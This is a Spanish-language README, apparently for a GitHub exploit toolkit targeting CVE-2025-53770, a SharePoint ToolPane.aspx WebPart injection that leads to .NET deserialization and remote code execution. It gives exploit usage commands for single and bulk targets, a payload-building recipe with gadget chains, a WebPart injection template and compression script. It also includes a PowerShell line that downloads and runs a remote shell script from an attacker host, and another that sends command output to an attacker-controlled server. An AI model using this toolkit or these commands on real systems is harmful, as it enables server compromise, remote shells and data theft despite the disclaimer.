CVE-2025-53770-Exploit

📌 SharePoint WebPart Injection Exploit Toolkit

🍕 Herramienta de explotación para la inyección de WebParts en SharePoint a través de ToolPane.aspx, que conduce a la deserialización de .NET y a una posible ejecución remota de código (RCE).

Desarrollado por: @GOTOCVE

🌍 Descripción general

Esta herramienta explota una vulnerabilidad en Microsoft SharePoint (on-premises) que permite a usuarios autenticados abusar del endpoint ToolPane.aspx e inyectar WebParts maliciosos que contienen objetos .NET serializados comprimidos con GZIP.

El objeto inyectado se coloca dentro del parámetro MSOTlPn_SelectedWpId y se incrusta en un WebPart falsificado (como <Scorecard:ExcelDataSet>) que es analizado y deserializado por el backend de SharePoint.

⚙️ Características

• ✅ Validación automática del endpoint (ToolPane.aspx)
• ✅ Inyección de payloads proporcionados por el usuario (objetos .NET LosFormatter codificados en GZIP+Base64)
• ✅ Soporte de proxy para Burp/ZAP
• ✅ Soporte para entrada de payload basada en archivo o directa

🧪 Versiones compatibles

⚡ Resumen de la vulnerabilidad

🧰 Componentes del toolkit

✅ 1. exploit.py

Herramienta de explotación multi-hilo para SharePoint para CVE-2025-53770.

• Detecta SharePoint + versión
• Comprueba el acceso a /ToolPane.aspx
• Envía el payload WebPart malicioso

✅ 2. YSLosf.exe

Generador de payloads LosFormatter y deserializador.

🚀 Uso

🔸 Uso básico

python3 exploit.py -u https://target -p payload.txt

🔸 Múltiples objetivos

python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

🔸 Todos los argumentos

🔧 Requisitos

• Python 3.10
• Instalar dependencias:

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

• Tiempo de ejecución .NET 4.8 (para ejecutar YSLosf.exe)

💥 Estructura del payload

Tu payload debe ser:

1. Un objeto .NET (p. ej., DataSet, ObjectDataProvider)
2. Serializado con LosFormatter o BinaryFormatter
3. Codificado en Base64
4. Comprimido con GZIP

Incrustado en un WebPart como:

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

🛠 Generación de payloads con YSLosf

Paso 1: Crear el archivo de payload

Coloca tu comando (p. ej., reverse shell) en payload.txt:

powershell -nop -c iwr http://attacker/shell.ps1 | iex

Paso 2: Generar el payload Base64

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j

Base64 encoded:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc

Paso 3: Comprimir y finalizar

# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

Guarda la salida en payload-final.txt y pásala a la herramienta de explotación.

🧵 Cadenas de gadgets compatibles

• System.Data.DataSet
• System.Data.Services.Internal.ExpandedWrapper
• System.Windows.Data.ObjectDataProvider
• System.Web.UI.LosFormatter

📡 Notas sobre la salida de comandos

Esta vulnerabilidad no devuelve salida (p. ej., ipconfig) en la respuesta. Debes:

• Usar payloads de reverse shell
• O exfiltrar la salida:

powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ Aviso legal

Esta herramienta se proporciona únicamente con fines de pruebas de seguridad educativas y autorizadas.

No la utilices contra sistemas sin permiso explícito. El uso indebido puede ser ilegal y poco ético.

🔍 Detección

Si un servidor vulnerable acepta el payload y refleja MSOTlPn_SelectedWpId o renderiza la página con el WebPart inyectado, es probable que sea explotable. La ausencia de salida significa que la deserialización falló o que el servidor está parcheado.

🛑 Aclaración legal y alcance de esta herramienta

Esta herramienta no entrega ni ejecuta ningún shellcode ni web shell. Solo demuestra la explotación de la vulnerabilidad de deserialización de .NET (CVE-2025-53770) a través del endpoint vulnerable ToolPane.aspx utilizando una estructura de WebPart maliciosa que contiene un objeto .NET comprimido con GZIP.

🔹 Propósito: Ayudar a investigadores, red teamers y defensores a detectar servidores SharePoint vulnerables y probar el vector de inyección de forma segura con payloads personalizados.

🔹 Payloads: La herramienta requiere que los usuarios generen sus propios payloads (p. ej., usando YSLosf.exe) que se incrustan en el WebPart como cadenas GZIP codificadas en Base64.
Es responsabilidad del usuario elegir payloads apropiados y éticos (como la ejecución inofensiva de calc.exe, marcadores de baliza, etc.).

🔹 NO se incluyen reverse shells/web shells:
Aunque los atacantes en la naturaleza pueden colocar web shells como spinstall0.aspx, este proyecto no incluye dicha lógica.
Si planeas entregar una reverse shell, debes generar tu propio payload manualmente y asumir toda la responsabilidad por su uso.

Historial de estrellas

📢 ¿Más exploits y CVEs?

Únete a @GOTOCVE en Telegram:

• 🔍 Desgloses semanales de CVEs
• 🧠 Análisis profundos de exploits
• 🛡 Contenido de Red & Blue Team
• 💣 PoCs reales y consejos de detección

📬 Contacto

Creado por Ali Soltani
Para consultas de investigación o informes de errores, escribe vía Telegram